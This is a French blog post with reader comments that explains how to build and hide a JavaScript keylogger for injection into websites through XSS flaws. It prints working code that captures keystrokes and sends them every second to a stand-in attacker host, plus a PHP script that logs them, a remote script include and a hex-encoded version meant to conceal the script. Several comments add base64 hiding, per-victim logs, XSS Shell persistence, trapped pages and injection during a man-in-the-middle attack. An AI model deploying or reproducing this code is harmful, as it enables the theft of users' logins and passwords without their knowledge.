Un keylogger en Javascript


Keylogger
Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.

L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.

Un keylogger en Javascript

Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.

Un keylogger en Javascript

Voici un exemple de keylogger écrit en JavaScript :

<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>

Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a+");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>

Dissimulation du keylogger

Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :

<script language="javascript" src="http://hack.com/javascript.js"></script>

On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :

<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>


16 Commentaires pour "Un keylogger en Javascript"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Tu peux également encoder ton script en base64 et le coller directement dans le HTML ;)

    RépondreRépondre
    Chibani , le 1 décembre 2009 à 09:13
  •  

    Super comme astuce! maintenant tout les petits merdeux de 15ans vont pouvoir foutre ca sur leur page perso :)

    RépondreRépondre
    bourvill , le 1 décembre 2009 à 09:24
  •  

    oui mais bon sa sert a rien...
    sa enverra les touches pressés en ayant le site ouvert à l'écran...
    c'est pas un programme qui tourne en arrière plan..

    RépondreRépondre
    namezero , le 1 décembre 2009 à 10:11
  •  

    je trouve ça avant fort et je n'y avais pas pensé.
    C'est pas le problème des gens qui le mettent sur leur site, mais, comme indiqué, plutôt de ceux qui l'injecte via une faille XSS. Si il est injecté et que quelqu'un rentre son loggin/pass sur la page, le méchant connaitra le loggin/pass!

    RépondreRépondre
    einboubou , le 1 décembre 2009 à 10:40
  •  

    Ca mériterait un fichier par IP ou par je sais pas quoi... Car là avec des connexions concurrentes, le fichier txt va vite devenir un bordel qui n'aura servi à rien :p

    RépondreRépondre
    Bastien , le 1 décembre 2009 à 11:10
  •  

    @bourvill : à condition que le morveux en question trouve une faille XSS et sache l'exploiter correctement. C'est pas donné à tout le monde ...

    @Bastien : j'ai pas poussé le concept jusqu'au bout. Mais effectivement, si une url avec une faille XSS est envoyée à beaucoup de monde, le fichier collectera beaucoup trop de caractères. Le mieux est peut-être la personnalisation du script JavaScript pour chaque victime, afin de séparer les fichiers de logs.

    RépondreRépondre
    pti-seb , le 1 décembre 2009 à 12:50
  •  

    Salut

    Ce genre de script est assez utilisé pour des trucs un peut moins pernicieux, comme les sésames. Quand j'étais plus jeune, une script de keylogging scrutait les combinaisons de touches, si une séquence était détectée, alors celui qui l'avait tappée entrait sur une page spéciale - et cachée -

    Enfin, ca a le mérite de faire une petite note underground pour ameuter les curieux !

    plusplus

    RépondreRépondre
    Tixlegeek , le 1 décembre 2009 à 13:23
  •  

    L'astuce est déjà connue, mais il est toujours bon d'informer les utilisateurs ! Et @bourvill faut juste pas perdre son temps sur le site de "petits merdeux de 15ans". Enfin souvant on rigole bien à voir le super site des jailbreakers de "Polly Pocket" en culotte courte ;)

    RépondreRépondre
    rdesbonnet , le 1 décembre 2009 à 20:28
  •  

    Il est possible d'avoir ce système en mode persistant : XSS Shell. Du moins tant qu'on continue de naviguer
    Ce système va même jusqu'à créer un proxy pour surfer de son poste avec les droits de la victime.
    Quand à trouver des failles XSS, pas besoin de s'embêter puisqu'on nous les sert sur un plateau sur le site XSSed ;-)

    RépondreRépondre
    Benoît , le 2 décembre 2009 à 11:44
  •  

    On pourrait aussi noter que ce code peut être exploité sans injection avec une page piégée (moins intéressant bien sur). Il suffit d'utiliser sa propre page Web (de petit morveux qui se respecte), d'implémenter le code javascript avec en plus ce petit bout de php tout bête qui récupère le code source d'une page web victime : echo file_get_contents(url). On affiche donc une page web choisie chez la victime et qui sera "écoutée" chez le hacker.
    (maquillage et diffusion de l'url-piégée oblige). Solution maintes fois exploitée.

    RépondreRépondre
    zeojex , le 3 décembre 2009 à 16:54
  •  

    Faut il que la fenetre web soit active ou juste affichée pour que le keylogger fonctionne ?

    RépondreRépondre
    Tuxicoman , le 6 janvier 2010 à 23:33
  •  

    @Tuxicoman : pour que javascript fonctionne, je pense qu'il faut qu'elle soit active. Ce serait trop facile sinon, cela permettrait de loger tous ce qui est saisie en dehors du navigateur.

    RépondreRépondre
    pti-seb , le 6 janvier 2010 à 23:47
  •  

    @zeojex :
    lol qui ne sait pas sa ^^

    RépondreRépondre
    xulandrix , le 30 janvier 2010 à 20:55
  •  

    merci amis Pour le Code , Permet moi de poser un question est ce qu'il est possible
    de faire un Keylogger Qui enregister tous les keys Pressez Lorsque la page s'execute

    RépondreRépondre
    Luchador , le 31 mai 2010 à 15:11
  •  

    @xulandrix : Des ptits morveux :)

    RépondreRépondre
    zeojex , le 31 mai 2010 à 16:31
  •  

    t'injectes ça pendant un MITM, c'est propre aussi :v

    RépondreRépondre
    hilko , le 23 juin 2015 à 19:20
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum